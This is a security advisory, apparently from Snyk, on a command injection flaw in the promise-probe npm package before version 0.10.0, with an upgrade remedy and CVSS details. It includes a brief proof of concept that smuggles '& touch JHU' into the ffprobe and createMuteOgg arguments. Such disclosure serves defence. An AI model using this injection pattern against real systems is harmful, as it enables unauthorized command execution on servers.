Command Injection

Affecting promise-probe package, versions <0.10.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

promise-probe is a FFprobe wrapper.

Affected versions of this package are vulnerable to Command Injection via the ffprobe(file) and createMuteOgg(outputFile, options) functions. file,outputFile,options can be controlled by users without any sanitization

PoC by JHU System Security Lab

var root = require("promise-probe");

root.ffprobe("& touch JHU");

root.createMuteOgg("123",{seconds:"& touch JHU &"});

root.createMuteOgg("& touch JHU",{});

Remediation

Upgrade promise-probe to version 0.10.0 or higher.

References

CVSS Score

7.5
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    None
  • Availability
    None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
Credit
JHU System Security Lab
CVE
CVE-2019-10791
CWE
CWE-78
Snyk ID
SNYK-JS-PROMISEPROBE-546816
Disclosed
04 Feb, 2020
Published
06 Feb, 2020